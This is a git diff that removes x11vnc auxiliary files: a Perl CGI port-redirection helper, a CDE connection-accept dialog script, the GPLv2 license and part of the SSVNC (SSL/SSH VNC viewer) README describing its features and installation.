- if (! -l $lock) {
- unlink $lock;
- } else {
- my ($pid, $time) = split(/:/, readlink($lock));
- if (! -d "/proc/$pid") {
- unlink $lock;
- }
- if (time() > $time + $t_age) {
- unlink $lock;
- }
- }
- }
-
- my $reason = '';
-
- if (-l $lock) {
- # someone has locked it.
- $reason = 'locked';
- } else {
- # unlocked, try to listen on port:
- if ($have_inet6 && $listen_on_ipv6) {
- eval {$sock = IO::Socket::INET6->new(
- Listen => 1,
- LocalPort => $vnc_port,
- ReuseAddr => 1,
- Domain => AF_INET6,
- LocalAddr => "::",
- Proto => "tcp"
- );};
- } else {
- $sock = IO::Socket::INET->new(
- Listen => 1,
- LocalPort => $vnc_port,
- ReuseAddr => 1,
- Proto => "tcp"
- );
- }
- if ($sock) {
- # we got it, now try to lock:
- my $str = "$$:" . time();
- if (symlink($str, $lock)) {
- $remove = $lock;
- $find_free_port = $sock;
- last;
- }
- # wow, we didn't lock it...
- $reason = "symlink failed: $!";
- close $sock;
- } else {
- $reason = "listen failed: $!";
- }
- }
- # sleep a bit and then try again:
- #
- print STDERR "$$ failed to get fixed port $vnc_port for $username at $t ($reason)\n";
- $sock = '';
- $t += 5;
- sleep 5;
- }
- if (! $sock) {
- bye("Failed to lock fixed TCP port. Try again a bit later.<p>$login_str");
- }
- print STDERR "$$ got fixed port $vnc_port for $username at $t\n";
-
- # Return the file to remove, if any:
- #
- return $remove;
-}
-
-
-# Return html for the java applet to connect to x11vnc.
-#
-# N.B. Please examine the applet params, e.g. trustUrlVncCert=yes to
-# see if you agree with them. See x11vnc classes/ssl/README for all
-# parameters.
-#
-# Note how we do not take extreme care to authenticate the server to
-# the client applet (but note that trustUrlVncCert=yes is better than
-# trustAllVncCerts=yes) One can tighten all of this up at the expense
-# of extra certificate dialogs (assuming the user bothers to check...)
-#
-# This assumes /UltraViewerSSL.jar is at document root; you need to put
-# it there.
-#
-sub print_applet_html {
- my ($W, $H, $D) = split(/x/, $geometry);
-
- # make it smaller since we 'Open New Window' below anyway.
- if ($applet_width ne 'W') {
- $W = $applet_width;
- }
- if ($applet_height ne 'H') {
- $H = $applet_height;
- }
-
- my $tUVC = ($trustUrlVncCert ? 'yes' : 'no');
-
- # see $applet_html set in defaults section for more info:
- #
- my $str = $applet_html;
-
- $str =~ s/_UID_/$uid/g;
- $str =~ s/_VNC_PORT_/$vnc_port/g;
- $str =~ s/_WIDTH_/$W/g;
- $str =~ s/_HEIGHT_/$H/g;
- $str =~ s/_PASS_/$pass/g;
- $str =~ s/_APPLET_JAR_/$applet_jar/g;
- $str =~ s/_APPLET_CLASS_/$applet_class/g;
- $str =~ s/_TRUST_UVC_/$tUVC/g;
-
- if ($enable_port_redirection && $redirect_host ne '') {
- $str =~ s/name=PASSWORD value=.*>/name=NOT_USED value=yes>/i;
- #$str =~ s/<!-- extra -->/<!-- extra -->\n<param name="ignoreProxy" value=yes>/;
- }
-
- print $str;
-}
-
-##########################################################################
-# The following subroutines are for port redirection only, which is
-# disabled by default ($enable_port_redirection == 0)
-#
-sub port_redir {
- # To aid in avoiding zombies:
- #
- setpgrp(0, 0);
-
- # For the fixed port scheme we try to cooperate via lock file:
- #
- my $rmlock = '';
- #
- if ($fixed_port) {
- # try to grab the fixed port for the next 90 secs removing
- # stale locks older than 60 secs:
- #
- $rmlock = lock_fixed_port(90, 60);
-
- } elsif ($find_free_port eq '0') {
- if ($have_inet6 && $listen_on_ipv6) {
- eval {$find_free_port = IO::Socket::INET6->new(
- Listen => 1,
- LocalPort => $vnc_port,
- ReuseAddr => 1,
- Domain => AF_INET6,
- LocalAddr => "::",
- Proto => "tcp"
- );};
- } else {
- $find_free_port = IO::Socket::INET->new(
- Listen => 1,
- LocalPort => $vnc_port,
- ReuseAddr => 1,
- Proto => "tcp"
- );
- }
- }
- # In all cases, at this point $find_free_port is the listening
- # socket.
-
- # fork a helper process to do the port redir:
- #
- # Actually we need to spawn 4(!) of them in case the proxy check
- # /check.https.proxy.connection (it is by default) and the other
- # test connections. Spawn one for each expected connection, for
- # whatever applet parameter usage mode you set up.
- #
- for (my $n = 1; $n <= 4; $n++) {
- my $pid = fork();
- if (! defined $pid) {
- bye("Internal Error #14");
- } elsif ($pid) {
- wait;
- } else {
- if (fork) {
- exit 0;
- }
- setpgrp(0, 0);
- handle_conn();
- exit 0;
- }
- }
-
- # We now close the listening socket:
- #
- close $find_free_port;
-
- if ($rmlock) {
- # let our process proceed a bit before removing lock.
- sleep 1;
- unlink $rmlock;
- }
-
- # Now send html to the browser so it can connect:
- #
- print_applet_html();
-
- exit 0;
-}
-
-# This checks the validity of a username@host:port for the port
-# redirection mode. Finishes and exits if it is invalid.
-#
-sub check_redirect_host {
- # First check that the host:port string is valid:
- #
- if ($redirect_host !~ /^\w[-\w\.]*:\d+$/) {
- bye("Invalid Redirect Host:Port.<p>$login_str");
- }
- # Second, check if the allowed host file permits it:
- #
- if ($port_redirection_allowed_hosts ne '') {
- if (! open(ALLOWED, "<$port_redirection_allowed_hosts")) {
- bye("Internal Error #15");
- }
- my $ok = 0;
- while (my $line = <ALLOWED>) {
- chomp $line;
- # skip blank lines and '#' comments:
- next if $line =~ /^\s*$/;
- next if $line =~ /^\s*#/;
-
- # trim spaces from ends:
- $line =~ s/^\s*//;
- $line =~ s/\s*$//;
-
- # collect host:ports in case port range given:
- my @items;
- if ($line =~ /^(.*):(\d+)-(\d+)$/) {
- # port range:
- my $host = $1;
- my $pmin = $2;
- my $pmax = $3;
- for (my $p = $pmin; $p <= $pmax; $p++) {
- push @items, "$host:$p";
- }
- } else {
- push @items, $line;
- }
-
- # now check each item for a match:
- foreach my $item (@items) {
- if ($item eq 'ALL') {
- $ok = 1;
- last;
- } elsif ($item =~ /@/) {
- if ("$username\@$redirect_host" eq $item) {
- $ok = 1;
- last;
- }
- } elsif ($redirect_host eq $item) {
- $ok = 1;
- last;
- }
- }
- # got a match:
- last if $ok;
- }
- close ALLOWED;
-
- if (! $ok) {
- bye("Disallowed Redirect Host:Port.<p>$login_str");
- }
- }
-}
-
-# Much of this code is borrowed from 'connect_switch':
-#
-# (it only applies to the vnc redirector $enable_port_redirection mode
-# which is off by default.)
-#
-sub handle_conn {
- close STDIN;
- close STDOUT;
- close STDERR;
-
- $SIG{ALRM} = sub {close $find_free_port; exit 0};
-
- # We only wait 30 secs for the redir case, esp. since
- # we need to spawn so many helpers...
- #
- alarm(30);
-
- my ($client, $ip) = $find_free_port->accept();
-
- alarm(0);
-
- close $find_free_port;
-
- if (!$client) {
- exit 1;
- }
-
- my $host = '';
- my $port = '';
- if ($redirect_host =~ /^(.*):(\d+)$/) {
- ($host, $port) = ($1, $2);
- }
-
- my $sock = IO::Socket::INET->new(
- PeerAddr => $host,
- PeerPort => $port,
- Proto => "tcp"
- );
- if (! $sock && $have_inet6) {
- eval {$sock = IO::Socket::INET6->new(
- PeerAddr => $host,
- PeerPort => $port,
- Proto => "tcp"
- );};
- }
-
- if (! $sock) {
- close $client;
- exit 1;
- }
-
- $current_fh1 = $client;
- $current_fh2 = $sock;
-
- $SIG{TERM} = sub {close $current_fh1; close $current_fh2; exit 0};
-
- my $killpid = 1;
-
- my $parent = $$;
- if (my $child = fork()) {
- xfer($sock, $client, 'S->C');
- if ($killpid) {
- fsleep(0.5);
- kill 'TERM', $child;
- }
- } else {
- xfer($client, $sock, 'C->S');
- if ($killpid) {
- fsleep(0.75);
- kill 'TERM', $parent;
- }
- }
- exit 0;
-}
-
-# This does socket data transfer in one direction.
-#
-sub xfer {
- my($in, $out, $lab) = @_;
- my ($RIN, $WIN, $EIN, $ROUT);
- $RIN = $WIN = $EIN = "";
- $ROUT = "";
- vec($RIN, fileno($in), 1) = 1;
- vec($WIN, fileno($in), 1) = 1;
- $EIN = $RIN | $WIN;
- my $buf;
-
- while (1) {
- my $nf = 0;
- while (! $nf) {
- $nf = select($ROUT=$RIN, undef, undef, undef);
- }
- my $len = sysread($in, $buf, 8192);
- if (! defined($len)) {
- next if $! =~ /^Interrupted/;
- last;
- } elsif ($len == 0) {
- last;
- }
-
- my $offset = 0;
- my $quit = 0;
- while ($len) {
- my $written = syswrite($out, $buf, $len, $offset);
- if (! defined $written) {
- $quit = 1;
- last;
- }
- $len -= $written;
- $offset += $written;
- }
- last if $quit;
- }
- close($in);
- close($out);
-}
-
-# Sleep a small amount of time (float)
-#
-sub fsleep {
- my ($time) = @_;
- select(undef, undef, undef, $time) if $time;
-}
diff --git a/x11vnc/misc/dtVncPopup b/x11vnc/misc/dtVncPopup
deleted file mode 100644
index e90cc8b..0000000
--- a/x11vnc/misc/dtVncPopup
+++ /dev/null
@@ -1,109 +0,0 @@
-#!/usr/dt/bin/dtksh
-#
-# accept dialog script for x11vnc
-# 2004-07-13 stefan.radman@ctbto.org
-# should work in any CDE environment (Sun,HP,IBM,...)
-#
-# when called without parameters shows a CDE question dialog:
-# Do you want to accept a VNC connection
-# from IP address $RFB_CLIENT_IP to your desktop?
-# Note:
-# After 30 seconds the screen will
-# be locked and the connection will be
-# accepted automatically."
-# [Yes} {__No__] [View/Only]
-# and counts down a timer in the dialog title bar
-# when the timer is down to 0, it locks the display and returns 0
-# (if the screenlock was successful or if the login prompt was active)
-#
-# buttons=retcode:
-# Yes = 0
-# No = 1 (same as closing the dialog windows)
-# View/Only = 3
-#
-# usage: x11vnc -forever -shared -accept "yes:0,no:*,view:3 dtVncPopup" -gone "dtVncPopup lock"
-#
-# security considerations: when you return to your console and unlock the display
-# you can never know if enyone else is connected to your display
-#
-
-# timeout until accept
-timeout=30
-
-# dialog message
-test -z "${RFB_CLIENT_IP}" && unknown="an unknown " || ip="$RFB_CLIENT_IP "
-message="\
-Do you want to accept a VNC connection
-from ${unknown}IP address ${ip}to your desktop?
-Note:
-After $timeout seconds the screen will
-be locked and the connection will be
-accepted automatically."
-
-# action functions
-accept () {
- exit 0
-}
-reject () {
- exit 1
-}
-view () {
- exit 3
-}
-lock () {
- # lock only if dtsession active
- xrdb -query | grep -c '^dtsession*' || accept
- # accept only if lock succeeds
- /usr/dt/bin/dtaction LockDisplay && accept || reject
-}
-
-# main
-
-# actions can be called directly
-test $# -gt 0 && $@
-
-# initialize the display
-XtInitialize TOPLEVEL vncPopup VncPopup "$0" "$@"
-
-# create a message dialog containing the contents of the specified file
-XmCreateQuestionDialog DIALOG $TOPLEVEL dialog \
- dialogTitle:"$DTKSH_APPNAME" \
- messageString:"$message" \
- unmapCallback:reject \
-# symbolPixmap:/usr/dt/appconfig/icons/C/DtFlag.m.pm
-
-# change the OK button to "Yes"
-XmMessageBoxGetChild OK_BUTTON $DIALOG DIALOG_OK_BUTTON
-XtSetValues $OK_BUTTON \
- labelString:"Yes" \
- activateCallback:accept
-
-# change the Cancel Button to "No"
-XmMessageBoxGetChild CANCEL_BUTTON $DIALOG DIALOG_CANCEL_BUTTON
-XtSetValues $CANCEL_BUTTON \
- labelString:"No" \
- activateCallback:reject
-
-# change Help button to View-Only, set focus and make it the default
-XmMessageBoxGetChild HELP_BUTTON $DIALOG DIALOG_HELP_BUTTON
-XtSetValues $HELP_BUTTON \
- labelString:"View\nOnly" \
- activateCallback:view
-
-# make "No" the default (for unmap as well)
-XtSetValues $DIALOG \
- defaultButton:$CANCEL_BUTTON initialFocus:$CANCEL_BUTTON \
-
-# create the ticker
-ticker () {
- test $timeout -eq 0 && lock
- XtSetValues $DIALOG dialogTitle:"accepting in $timeout seconds"
- XtAddTimeOut TICKER 1000 ticker
- timeout=`expr $timeout - 1`
-}
-
-# display dialog and activate ticker
-XtAddTimeOut TICKER 1000 ticker
-XtManageChild $DIALOG
-XtMainLoop
-
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/COPYING b/x11vnc/misc/enhanced_tightvnc_viewer/COPYING
deleted file mode 100644
index a3f6b12..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/COPYING
+++ /dev/null
@@ -1,340 +0,0 @@
- GNU GENERAL PUBLIC LICENSE
- Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
- 59 Temple Place - Suite 330, Boston, MA
- 02111-1307, USA.
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
- Preamble
-
- The licenses for most software are designed to take away your
-freedom to share and change it. By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users. This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it. (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.) You can apply it to
-your programs, too.
-
- When we speak of free software, we are referring to freedom, not
-price. Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
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- To protect your rights, we need to make restrictions that forbid
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-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
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-gratis or for a fee, you must give the recipients all the rights that
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- GNU GENERAL PUBLIC LICENSE
- TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
- 0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License. The "Program", below,
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-that is to say, a work containing the Program or a portion of it,
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-infringement or for any other reason (not limited to patent issues),
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-license would not permit royalty-free redistribution of the Program by
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-address new problems or concerns.
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-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation. If the Program does not specify a version number of
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-Foundation.
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- 10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
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- NO WARRANTY
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- 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
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- 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
- END OF TERMS AND CONDITIONS
-
- Appendix: How to Apply These Terms to Your New Programs
-
- If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
- To do so, attach the following notices to the program. It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
- <one line to give the program's name and a brief idea of what it does.>
- Copyright (C) 19yy <name of author>
-
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
- Gnomovision version 69, Copyright (C) 19yy name of author
- Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License. Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary. Here is a sample; alter the names:
-
- Yoyodyne, Inc., hereby disclaims all copyright interest in the program
- `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
- <signature of Ty Coon>, 1 April 1989
- Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs. If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library. If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/README b/x11vnc/misc/enhanced_tightvnc_viewer/README
deleted file mode 100644
index 52eb93a..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/README
+++ /dev/null
@@ -1,756 +0,0 @@
- Enhanced TightVNC Viewer (SSVNC: SSL/SSH VNC viewer)
-
-Copyright (c) 2006-2009 Karl J. Runge <runge@karlrunge.com>
-All rights reserved.
-
-These bundles provide 1) An enhanced TightVNC Viewer on Unix, 2) Binaries
-for many Operating Systems (including Windows and Mac OS X) for your
-convenience, 3) Wrapper scripts and a GUI for gluing them all together.
-
-One can straight-forwardly download all of the components and get them
-to work together by oneself: this bundle is mostly for your convenience
-to combine and wrap together the freely available software.
-
-Bundled software co-shipped is copyright and licensed by others.
-See these sites and related ones for more information:
-
- http://www.tightvnc.com
- http://www.realvnc.com
- http://stunnel.mirt.net
- http://www.stunnel.org
- http://www.openssl.org
- http://www.chiark.greenend.org.uk/~sgtatham/putty/
- http://sourceforge.net/projects/cotvnc/
-
-Note: Some of the binaries included contain cryptographic software that
-you may not be allowed to download, use, or redistribute. Please check
-your situation first before downloading any of these bundles. See the
-survey http://rechten.uvt.nl/koops/cryptolaw/index.htm for useful
-information.
-
-All work done by Karl J. Runge in this project is
-Copyright (c) 2006-2008 Karl J. Runge and is licensed under the GPL as
-described in the file COPYING in this directory.
-
-All the files and information in this project are provided "AS IS"
-without any warranty of any kind. Use them at your own risk.
-
-
-=============================================================================
-
-This bundle contains a convenient collection of enhanced TightVNC
-viewers and stunnel binaries for different flavors of Unix and wrapper
-scripts and a GUI front-end to glue them together. Automatic SSL and
-SSH encryption tunnelling is provided.
-
-A Windows SSL wrapper for the bundled TightVNC binary and other utilities
-are provided. (Launch ssvnc.exe in the Windows subdirectory).
-
-The short name of the project is "ssvnc" for SSL/SSH VNC Viewer.
-
-It is a self-contained bundle, you could carry it around on, say,
-a USB memory stick for secure VNC viewing from almost any machine,
-Unix, Mac, or Windows.
-
-Features:
---------
-
-The enhanced TightVNC viewer features are:
-
- - SSL support for connections using the bundled stunnel program.
-
- - Automatic SSH connections from the GUI (ssh must already be
- installed on Unix; bundled plink is used on Windows)
-
- - Ability to Save and Load VNC profiles for different hosts.
-
- - You can also use your own VNC Viewer, e.g. UltraVNC or RealVNC,
- with the front-end GUI or scripts if you like.
-
- - Create or Import SSL Certificates and Private Keys.
-
- - Reverse (viewer listening) VNC connections via SSL and SSH.
-
- - VeNCrypt SSL/TLS VNC encryption support (used by VeNCrypt,
- QEMU, ggi, libvirt/virt-manager/xen, vinagre/gvncviewer/gtk-vnc)
-
- - ANONTLS SSL/TLS VNC encryption support (used by Vino)
-
- - VeNCrypt and ANONTLS are also enabled for any 3rd party VNC
- Viewer (e.g. RealVNC, TightVNC, UltraVNC ...) on Unix, MacOSX,
- and Windows via the provided SSVNC VeNCrypt Viewer Bridge tool
- (use 'Change VNC Viewer' to select the one you want.)
-
- - Support for Web Proxies, SOCKS Proxies, and the UltraVNC
- repeater proxy (e.g. repeater://host:port+ID:1234). Multiple
- proxies may be chained together (3 max).
-
- - Support for SSH Gateway connections and non-standard SSH ports.
-
- - Automatic Service tunnelling via SSH for CUPS and SMB Printing,
- ESD/ARTSD Audio, and SMB (Windows/Samba) filesystem mounting.
-
- - Sets up any additional SSH port redirections that you want.
-
- - Zeroconf (aka Bonjour) is used on Unix and Mac OS X to find
- VNC servers on your local network if the avahi-browse or dns-sd
- program is available and in your PATH.
-
- - Port Knocking for "closed port" SSH/SSL connections. In addition
- to a simple fixed port sequence and one-time-pad implementation,
- a hook is also provided to run any port knocking client before a
- connecting.
-
- - Support for native MacOS X usage with bundled Chicken of the
- VNC viewer (the Unix X11 viewer is also provided for MacOS X,
- and is better IMHO).
-
- - Dynamic VNC Server Port determination and redirection (using
- ssh's builtin SOCKS proxy, -D) for servers like x11vnc that
- print out PORT= at startup.
-
- - Unix Username and Password entry for use with "x11vnc -unixpw"
- type login dialogs.
-
- - Simplified mode launched by command "sshvnc" that is SSH Only.
-
- - Simplified mode launched by command "tsvnc" that provides a VNC
- "Terminal Services" mode (uses x11vnc on the remote side).
-
-
- (the following features only apply to the bundled Unix tightvnc viewer
- including MacOS X)
-
- - rfbNewFBSize VNC support (screen resizing)
-
- - Client-side Scaling of the Viewer.
-
- - ZRLE VNC encoding support (RealVNC's encoding)
-
- - Support for the ZYWRLE encoding, a wavelet based extension to
- ZRLE to improve compression of motion video and photo regions.
-
- - TurboVNC support (VirtualGL's modified TightVNC encoding;
- requires TurboJPEG library)
-
- - Pipelined Updates of the framebuffer as in TurboVNC (asks for
- the next update before the current one has finished downloading;
- this gives some speedup on high latency connections.)
-
- - Cursor alphablending with x11vnc at 32bpp (-alpha option)
-
- - Option "-unixpw ..." for use with "x11vnc -unixpw" login dialogs.
-
- - Support for UltraVNC extensions: Single Window, Disable
- Server-side Input, 1/n Server side scaling, Text Chat (shell
- terminal UI). Both UltraVNC and x11vnc servers support these
- extensions
-
- - UltraVNC File Transfer via an auxiliary Java helper program
- (java must be in $PATH). Note that the x11vnc server supports
- UltraVNC file transfer.
-
- - Connection support for the UltraVNC repeater proxy (-repeater
- option).
-
- - Support for UltraVNC Single Click operation. (both unencrypted:
- SC I, and SSL encrypted: SC III)
-
- - Support for UltraVNC DSM Encryption Plugin mode. (ARC4 and
- AESV2, MSRC4, and SecureVNC)
-
- - Support for UltraVNC MS-Logon authentication (NOTE: the
- UltraVNC MS-Logon key exchange implementation is very weak; an
- eavesdropper on the network can recover your Windows password
- easily in a few seconds; you need to use an additional encrypted
- tunnel with MS-Logon.)
-
- - Support for symmetric encryption (including blowfish and 3des
- ciphers) to Non-UltraVNC Servers. Any server using the same
- encryption method will work, e.g.: x11vnc -enc blowfish:./my.key
-
- - Instead of hostname:display one can also supply "exec=command
- args..." to connect the viewer to the stdio of an external command
- (e.g. stunnel or socat) rather than using a TCP/IP socket. Unix
- domain sockets, e.g. /path/to/unix/socket, and a previously
- opened file descriptor fd=0, work too.
-
- - Local Port Protections for STUNNEL and SSH: avoid having for
- long periods of time a listening port on the the local (VNC
- viewer) side that redirects to the remote side.
-
- - Reverse (viewer listening) VNC connections can show a
- Popup dialog asking whether to accept the connection or not
- (-acceptpopup.) The extra info provided by UltraVNC Single Click
- reverse connections is also supported (-acceptpopupsc)
-
- - Extremely low color modes: 64 and 8 colors in 8bpp
- (-use64/-bgr222, -use8/-bgr111)
-
- - Medium color mode: 16bpp mode even for 32bpp Viewer display
- (-16bpp/-bgr565)
-
- - x11vnc's client-side caching -ncache method cropping option
- (-ycrop n). This will "hide" the large pixel buffer cache
- below the actual display. Set to actual height or use -1 for
- autodetection (tall screens are autodetected by default).
-
- - Escape Keys: enable a set of modifier keys so when they
- are all pressed down you can invoke Popup menu actions via
- keystrokes. I.e., a set of 'Hot Keys'. One can also pan (move)
- the desktop inside the viewport via Arrow keys or a mouse drag.
-
- - Scrollbar width setting: -sbwidth n, the default is very thin,
- 2 pixels, for less distracting -ycrop usage.
-
- - Selection text sending and receiving can be fine-tuned with the
- -sendclipboard, -sendalways, and -recvtext options.
-
- - TightVNC compression and quality levels are automatically set
- based on observed network latency (n.b. not bandwidth.)
-
- - Improvements to the Popup menu, all of these can now be changed
- dynamically via the menu: ViewOnly, Toggle Bell, CursorShape
- updates, X11 Cursor, Cursor Alphablending, Toggle Tight/ZRLE,
- Toggle JPEG, FullColor/16bpp/8bpp (256/64/8 colors), Greyscale
- for low color modes, Scaling the Viewer resolution, Escape Keys,
- Pipeline Updates, and others, including UltraVNC extensions.
-
- - Maintains its own BackingStore if the X server does not
-
- - The default for localhost:0 connections is not raw encoding
- (local machine). Default assumes you are using SSH tunnel. Use
- -rawlocal to revert.
-
- - XGrabServer support for fullscreen mode, for old window managers
- (-grab/-graball option).
-
- - Fix for Popup menu positioning for old window managers
- (-popupfix option).
-
- - Run vncviewer -help for all options.
-
-
-
-The list of software bundled in the archive files:
-
- TightVNC Viewer (windows, unix, macosx)
- Chicken of the VNC Viewer (macosx)
- Stunnel (windows, unix, macosx)
- Putty/Plink/Pageant (windows)
- OpenSSL (windows)
- esound (windows)
-
-These are all self-contained in the bundle directory: they will not be
-installed on your system. Just un-zip or un-tar the file you downloaded
-and run it straight from its directory.
-
-
-Quick Start:
------------
-
-Unix and Mac OS X:
-
- Inside a Terminal do something like the following.
-
- Unpack the archive:
-
- % gzip -dc ssvnc-1.0.28.tar.gz | tar xvf -
-
- Run the GUI:
-
- % ./ssvnc/Unix/ssvnc (for Unix)
-
- % ./ssvnc/MacOSX/ssvnc (for Mac OS X)
-
- The smaller file "ssvnc_no_windows-1.0.28.tar.gz"
- could have been used as well.
-
- On MacOSX you could also click on the SSVNC app icon in the Finder.
-
- On MacOSX if you don't like the Chicken of the VNC (e.g. no local
- cursors, no screen size rescaling, and no password prompting), and you
- have the XDarwin X server installed, you can set DISPLAY before starting
- ssvnc (or type DISPLAY=... in Host:Disp and hit Return). Then our
- enhanced TightVNC viewer will be used instead of COTVNC.
- Update: there is now a 'Use X11 vncviewer on MacOSX' under Options ...
-
-
- If you want a SSH-only tool (without the distractions of SSL) run
- the command:
-
- sshvnc
-
- instead of "ssvnc". Or click "SSH-Only Mode" under Options.
- Control-h will toggle between the two modes.
-
-
- If you want a simple VNC Terminal Services only mode (requires x11vnc
- on the remote server) run the command:
-
- tsvnc
-
- instead of "ssvnc". Or click "Terminal Services" under Options.
- Control-t will toggle between the two modes.
-
- "tsvnc profile-name" and "tsvnc user@hostname" work too.
-
-
-Unix/MacOSX Install:
-
- There is no standard install for the bundles, but you can make
- symlinks like so:
-
- cd /a/directory/in/PATH
- ln -s /path/to/ssvnc/bin/{s,t}* .
-
- Or put /path/to/ssvnc/bin, /path/to/ssvnc/Unix, or /path/to/ssvnc/MacOSX
- in your PATH.
-
- For the conventional source tarball it will compile and install, e.g.:
-
- gzip -dc ssvnc-1.0.28.src.tar.gz | tar xvf -
- cd ssvnc-1.0.28
- make config
- make all
- make PREFIX=/my/install/dir install
-
- then have /my/install/dir/bin in your PATH.
-
-
-Windows:
-
- Unzip, using WinZip or a similar utility, the zip file:
-
- ssvnc-1.0.28.zip
-
- Run the GUI, e.g.:
-
- Start -> Run -> Browse
-
- and then navigate to
-
- .../ssvnc/Windows/ssvnc.exe
-
- select Open, and then OK to launch it.
-
- The smaller file "ssvnc_windows_only-1.0.28.zip"
- could have been used as well.
-
- You can make a Windows shortcut to this program if you want to.
-
- See the Windows/README.txt for more info.
-
-
- If you want a SSH-only tool (without the distractions of SSL) run
- the command:
-
- sshvnc.bat
-
- Or click "SSH-Only Mode" under Options.
-
-
- If you want a simple VNC Terminal Services only mode (requires x11vnc
- on the remote server) run the command:
-
- tsvnc.bat
-
- Or click "Terminal Services" under Options. Control-t will toggle
- between the two modes. "tsvnc profile-name" and "tsvnc user@hostname"
- work too.
-
-
-
-Important Note for Windows Vista: One user reports that on Windows Vista
-if you move or extract the "ssvnc" folder down to the "Program Files"
-folder you will be prompted to do this as the Administrator. But then
-when you start up ssvnc, as a regular user, it cannot create files in
-that folder and so it fails to run properly. We recommend to not copy
-or extract the "ssvnc" folder into "Program Files". Rather, extract
-it to somewhere you have write permission (e.g. C:\ or your User dir)
-and create a Shortcut to ssvnc.exe on the desktop.
-
-If you must put a launcher file down in "Program Files", perhaps an
-"ssvnc.bat" that looks like this:
-
-C:
-cd \ssvnc\Windows
-ssvnc.exe
-
-
-SSH-ONLY Mode:
---------------
-
-If you don't care for SSL and the distractions it provides in the GUI,
-run "sshvnc" (unix/macosx) or "sshvnc.bat" (windows) to run an SSH only
-version of the GUI.
-
-Terminal Services Mode
-----------------------
-
-There is an even simpler mode that uses x11vnc on the remote side for the
-session finding and management. Run "tsvnc" (unix/macosx) or "tsvnc.bat"
-(windows) to run the Terminal Services version of the GUI.
-
-
-Bundle Info:
-------------
-
-The bundle files unpack a directory/folder named: ssvnc
-
-It contains these programs to launch the GUI:
-
- Windows/ssvnc.exe for Windows
- MacOSX/ssvnc for Mac OS X
- Unix/ssvnc for Unix
-
-(the Mac OS X and Unix launchers are simply links to the bin directory).
-
-
-Your bundle file should have included binaries for many OS's: Linux,
-Solaris, FreeBSD, etc. Unpack your archive and see the subdirectories of
-
- ./bin
-
-for the ones that were shipped in this project, e.g. ./bin/Linux.i686
-Run "uname -sm" to see your OS+arch combination (n.b. all Linux x86 are
-mapped to Linux.i686). (See the ./bin/ssvnc_cmd -h output for how to
-override platform autodection via the UNAME env. var).
-
-
-Memory Stick Usage:
--------------------
-
-If you create a directory named "Home" in that toplevel ssvnc directory
-then that will be used as the base for storing VNC profiles and
-certificates. Also, for convenience, if you first run the command with
-"." as an argument (e.g. "ssvnc .") it will automatically create that
-"Home" directory for you. This is handy if you want to place SSVNC
-on a USB flash drive that you carry around for mobile use and you want
-the profiles you create to stay with the drive (otherwise you'd have to
-browse to the drive directory each time you load or save).
-
